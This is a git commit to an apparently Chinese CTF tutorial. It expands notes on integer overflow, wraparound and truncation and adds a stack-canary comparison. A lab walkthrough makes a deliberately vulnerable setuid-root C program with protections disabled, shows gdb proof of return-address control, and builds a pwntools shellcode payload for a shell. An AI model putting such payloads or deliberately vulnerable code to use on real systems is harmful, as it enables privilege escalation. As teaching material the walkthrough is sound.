This commit is contained in:
liu1l 2017-08-18 20:51:49 +08:00
commit 5c26ec0b2c
3 changed files with 279 additions and 12 deletions

View File

@ -3,7 +3,7 @@
- [什么是整数溢出](#什么是整数溢出)
- [整数溢出](#整数溢出)
- [整数溢出示例](#整数溢出示例)
- [CTF 中的整数溢出](#CTF-中的整数溢出)
- [CTF 中的整数溢出](#ctf-中的整数溢出)
## 什么是整数溢出
@ -17,7 +17,18 @@
## 整数溢出
#### 有符号整数上溢出
关于整数的异常情况主要有三种:
- 溢出
- 只有有符号数才会发生溢出。有符号数最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出
- 溢出标志 `OF` 可检测有符号数的溢出
- 回绕
- 无符号数 `0-1` 时会变成最大的数,如 1 字节的无符号数会变为 `255`,而 `255+1` 会变成最小数 `0`
- 进位标志 `CF` 可检测无符号数的回绕
- 截断
- 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断
#### 有符号整数溢出
- 上溢出
```c
int i;
i = INT_MAX; // 2 147 483 647
@ -25,23 +36,38 @@ i++;
printf("i = %d\n", i); // i = -2 147 483 648
```
#### 有符号整数下溢出
- 下溢出
```c
i = INT_MIN; // -2 147 483 648
i--;
printf("i = %d\n", i); // i = 2 147 483 647
```
#### 无符号数截断
涉及无符号数的计算永远不会溢出,如果计算结果无法用无符号数表示,就会发生截断
#### 无符号数回绕
涉及无符号数的计算永远不会溢出,因为不能用结果为无符号整数表示的结果值被该类型可以表示的最大值加 1 之和取模减reduced modulo。因为回绕一个无符号整数表达式永远无法求出小于零的值
加法截断:
使用下图直观地理解回绕,在轮上按顺时针方向将值递增产生的值紧挨着它:
![](../pic/1.5.1_unsigned_integer.png)
```c
unsigned int ui;
ui = UINT_MAX; // 在 x86-32 上为 4 294 967 295
ui++;
printf("ui = %u\n", ui); // ui = 0
ui = 0;
ui--;
printf("ui = %u\n", ui); // 在 x86-32 上ui = 4 294 967 295
```
#### 截断
- 加法截断:
```text
0xffffffff + 0x00000001
= 0x0000000100000000 (long long)
= 0x00000000 (long)
```
乘法截断:
- 乘法截断:
```text
0x00123456 * 0x00654321
= 0x000007336BF94116 (long long)
@ -199,11 +225,12 @@ void vulnerable() {
```
这个例子的问题在于,如果攻击者给 `len` 赋于了一个负数,则可以绕过 `if` 语句的检测,而执行到 `memcpy()` 的时候,由于第三个参数是 `size_t` 类型,负数 `len` 会被转换为一个无符号整型,它可能是一个非常大的正数,从而复制了大量的内容到 `buf` 中,引发了缓冲区溢出。
示例二,溢出:
```
示例二,回绕和溢出:
```c
void vulnerable() {
size_t len;
char *buf;
// int len;
char* buf;
len = read_int_from_network();
buf = malloc(len + 5);
@ -211,7 +238,7 @@ void vulnerable() {
...
}
```
这个例子看似避开了缓冲区溢出的问题,但是如果 `len` 过大,`len+5` 有可能发生溢出。比如说,在 x86-32 上,如果 `len = 0xFFFFFFFF`,则 `len+5 = 0x00000004`,这时 `malloc()` 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。
这个例子看似避开了缓冲区溢出的问题,但是如果 `len` 过大,`len+5` 有可能发生回绕。比如说,在 x86-32 上,如果 `len = 0xFFFFFFFF`,则 `len+5 = 0x00000004`,这时 `malloc()` 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。(如果将 `len` 声明为有符号 `int` 类型,`len+5` 可能发生溢出)
示例三,截断:
```
@ -227,7 +254,128 @@ void main(int argc, char *argv[]) {
这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 `total` 表示,则会发生截断,从而导致后面的缓冲区溢出。
#### 实战
看了上面的示例,我们来真正利用一个整数溢出漏洞。
看了上面的示例,我们来真正利用一个整数溢出漏洞。[源码](../src/Other/3.3.2_integer.c)
```c
#include<stdio.h>
#include<string.h>
void validate_passwd(char *passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8) {
printf("good!\n");
strcpy(passwd_buf, passwd);
} else {
printf("bad!\n");
}
}
int main(int argc, char *argv[]) {
if(argc != 2) {
printf("error\n");
return 0;
}
validate_passwd(argv[1]);
}
```
上面的程序中 `strlen()` 返回类型是 `size_t`却被存储在无符号字符串类型中任意超过无符号字符串最大上限值256 字节)的数据都会导致截断异常。当密码长度为 261 时,截断后值变为 5成功绕过了 `if` 的判断,导致栈溢出。下面我们利用溢出漏洞来获得 shell。
编译命令:
```text
# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -g -fno-stack-protector -z execstack vuln.c
$ sudo chown root vuln
$ sudo chgrp root vuln
$ sudo chmod +s vuln
```
使用 gdb 反汇编 `validate_passwd` 函数。
```text
gdb-peda$ disassemble validate_passwd
Dump of assembler code for function validate_passwd:
0x0000059d <+0>: push ebp ; 压入 ebp
0x0000059e <+1>: mov ebp,esp
0x000005a0 <+3>: push ebx ; 压入 ebx
0x000005a1 <+4>: sub esp,0x14
0x000005a4 <+7>: call 0x4a0 <__x86.get_pc_thunk.bx>
0x000005a9 <+12>: add ebx,0x1a57
0x000005af <+18>: sub esp,0xc
0x000005b2 <+21>: push DWORD PTR [ebp+0x8]
0x000005b5 <+24>: call 0x430 <strlen@plt>
0x000005ba <+29>: add esp,0x10
0x000005bd <+32>: mov BYTE PTR [ebp-0x9],al ; 将 len 存入 [ebp-0x9]
0x000005c0 <+35>: cmp BYTE PTR [ebp-0x9],0x3
0x000005c4 <+39>: jbe 0x5f2 <validate_passwd+85>
0x000005c6 <+41>: cmp BYTE PTR [ebp-0x9],0x8
0x000005ca <+45>: ja 0x5f2 <validate_passwd+85>
0x000005cc <+47>: sub esp,0xc
0x000005cf <+50>: lea eax,[ebx-0x1910]
0x000005d5 <+56>: push eax
0x000005d6 <+57>: call 0x420 <puts@plt>
0x000005db <+62>: add esp,0x10
0x000005de <+65>: sub esp,0x8
0x000005e1 <+68>: push DWORD PTR [ebp+0x8]
0x000005e4 <+71>: lea eax,[ebp-0x14] ; 取 passwd_buf 地址
0x000005e7 <+74>: push eax ; 压入 passwd_buf
0x000005e8 <+75>: call 0x410 <strcpy@plt>
0x000005ed <+80>: add esp,0x10
0x000005f0 <+83>: jmp 0x604 <validate_passwd+103>
0x000005f2 <+85>: sub esp,0xc
0x000005f5 <+88>: lea eax,[ebx-0x190a]
0x000005fb <+94>: push eax
0x000005fc <+95>: call 0x420 <puts@plt>
0x00000601 <+100>: add esp,0x10
0x00000604 <+103>: nop
0x00000605 <+104>: mov ebx,DWORD PTR [ebp-0x4]
0x00000608 <+107>: leave
0x00000609 <+108>: ret
End of assembler dump.
```
通过阅读反汇编代码,我们知道缓冲区 `passwd_buf` 位于 `ebp=0x14` 的位置(`0x000005e4 <+71>: lea eax,[ebp-0x14]`),而返回地址在 `ebp+4` 的位置,所以返回地址相对于缓冲区 `0x18` 的位置。我们测试一下:
```text
gdb-peda$ r `python2 -c 'print "A"*24 + "B"*4 + "C"*233'`
Starting program: /home/a.out `python2 -c 'print "A"*24 + "B"*4 + "C"*233'`
good!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd0f4 ('A' <repeats 24 times>, "BBBB", 'C' <repeats 172 times>...)
EBX: 0x41414141 ('AAAA')
ECX: 0xffffd490 --> 0x534c0043 ('C')
EDX: 0xffffd1f8 --> 0xffff0043 --> 0x0
ESI: 0xf7f95000 --> 0x1bbd90
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd110 ('C' <repeats 200 times>...)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd110 ('C' <repeats 200 times>...)
0004| 0xffffd114 ('C' <repeats 200 times>...)
0008| 0xffffd118 ('C' <repeats 200 times>...)
0012| 0xffffd11c ('C' <repeats 200 times>...)
0016| 0xffffd120 ('C' <repeats 200 times>...)
0020| 0xffffd124 ('C' <repeats 200 times>...)
0024| 0xffffd128 ('C' <repeats 200 times>...)
0028| 0xffffd12c ('C' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
```
可以看到 `EIP``BBBB` 覆盖,相当于我们获得了返回地址的控制权。构建下面的 payload
```python
from pwn import *
ret_addr = 0xffffd118 # ebp = 0xffffd108
shellcode = shellcraft.i386.sh()
payload = "A" * 24
payload += p32(ret_addr)
payload += "\x90" * 20
payload += asm(shellcode)
payload += "C" * 169 # 24 + 4 + 20 + 44 + 169 = 261
```
## CTF 中的整数溢出

View File

@ -11,6 +11,105 @@ Linux 中有各种各样的安全防护,其中 ASLR 是由内核直接提供
#### CANARY
启用 CANARY 后,函数开始执行的时候会先往栈里插入 canary 信息,当函数返回时验证插入的 canary 是否被修改,如果是,就停止运行。
下面是一个例子:
```c
#include <stdio.h>
void main(int argc, char **argv) {
char buf[10];
scanf("%s", buf);
}
```
我们先开启 CANARY来看看执行的结果
```text
$ gcc -m32 -fstack-protector canary.c -o f.out
$ python -c 'print("A"*20)' | ./f.out
*** stack smashing detected ***: ./f.out terminated
Segmentation fault (core dumped)
```
接下来关闭 CANARY
```text
$ gcc -m32 -fno-stack-protector canary.c -o fno.out
$ python -c 'print("A"*20)' | ./fno.out
Segmentation fault (core dumped)
```
可以看到当开启 CANARY 的时候,提示检测到栈溢出和段错误,而关闭的时候,只有提示段错误。
下面对比一下反汇编代码上的差异:
开启 CANARY 时:
```text
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x000005ad <+0>: lea ecx,[esp+0x4]
0x000005b1 <+4>: and esp,0xfffffff0
0x000005b4 <+7>: push DWORD PTR [ecx-0x4]
0x000005b7 <+10>: push ebp
0x000005b8 <+11>: mov ebp,esp
0x000005ba <+13>: push ebx
0x000005bb <+14>: push ecx
0x000005bc <+15>: sub esp,0x20
0x000005bf <+18>: call 0x611 <__x86.get_pc_thunk.ax>
0x000005c4 <+23>: add eax,0x1a3c
0x000005c9 <+28>: mov edx,ecx
0x000005cb <+30>: mov edx,DWORD PTR [edx+0x4]
0x000005ce <+33>: mov DWORD PTR [ebp-0x1c],edx
0x000005d1 <+36>: mov ecx,DWORD PTR gs:0x14 ; 将 canary 值存入 ecx
0x000005d8 <+43>: mov DWORD PTR [ebp-0xc],ecx ; 在栈 ebp-0xc 处插入 canary
0x000005db <+46>: xor ecx,ecx
0x000005dd <+48>: sub esp,0x8
0x000005e0 <+51>: lea edx,[ebp-0x16]
0x000005e3 <+54>: push edx
0x000005e4 <+55>: lea edx,[eax-0x1940]
0x000005ea <+61>: push edx
0x000005eb <+62>: mov ebx,eax
0x000005ed <+64>: call 0x450 <__isoc99_scanf@plt>
0x000005f2 <+69>: add esp,0x10
0x000005f5 <+72>: nop
0x000005f6 <+73>: mov eax,DWORD PTR [ebp-0xc] ; 从栈中取出 canary
0x000005f9 <+76>: xor eax,DWORD PTR gs:0x14 ; 检测 canary 值
0x00000600 <+83>: je 0x607 <main+90>
0x00000602 <+85>: call 0x690 <__stack_chk_fail_local>
0x00000607 <+90>: lea esp,[ebp-0x8]
0x0000060a <+93>: pop ecx
0x0000060b <+94>: pop ebx
0x0000060c <+95>: pop ebp
0x0000060d <+96>: lea esp,[ecx-0x4]
0x00000610 <+99>: ret
End of assembler dump.
```
关闭 CANARY 时:
```text
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000055d <+0>: lea ecx,[esp+0x4]
0x00000561 <+4>: and esp,0xfffffff0
0x00000564 <+7>: push DWORD PTR [ecx-0x4]
0x00000567 <+10>: push ebp
0x00000568 <+11>: mov ebp,esp
0x0000056a <+13>: push ebx
0x0000056b <+14>: push ecx
0x0000056c <+15>: sub esp,0x10
0x0000056f <+18>: call 0x59c <__x86.get_pc_thunk.ax>
0x00000574 <+23>: add eax,0x1a8c
0x00000579 <+28>: sub esp,0x8
0x0000057c <+31>: lea edx,[ebp-0x12]
0x0000057f <+34>: push edx
0x00000580 <+35>: lea edx,[eax-0x19e0]
0x00000586 <+41>: push edx
0x00000587 <+42>: mov ebx,eax
0x00000589 <+44>: call 0x400 <__isoc99_scanf@plt>
0x0000058e <+49>: add esp,0x10
0x00000591 <+52>: nop
0x00000592 <+53>: lea esp,[ebp-0x8]
0x00000595 <+56>: pop ecx
0x00000596 <+57>: pop ebx
0x00000597 <+58>: pop ebp
0x00000598 <+59>: lea esp,[ecx-0x4]
0x0000059b <+62>: ret
End of assembler dump.
```
#### FORTIFY
FORTIFY 的选项 `-D_FORTIFY_SOURCE` 往往和优化 `-O` 选项一起使用,以检测缓冲区溢出的问题。

View File

@ -0,0 +1,20 @@
#include<stdio.h>
#include<string.h>
void validate_passwd(char *passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8) {
printf("good!\n");
strcpy(passwd_buf, passwd);
} else {
printf("bad!\n");
}
}
int main(int argc, char *argv[]) {
if(argc != 2) {
printf("error\n");
return 0;
}
validate_passwd(argv[1]);
}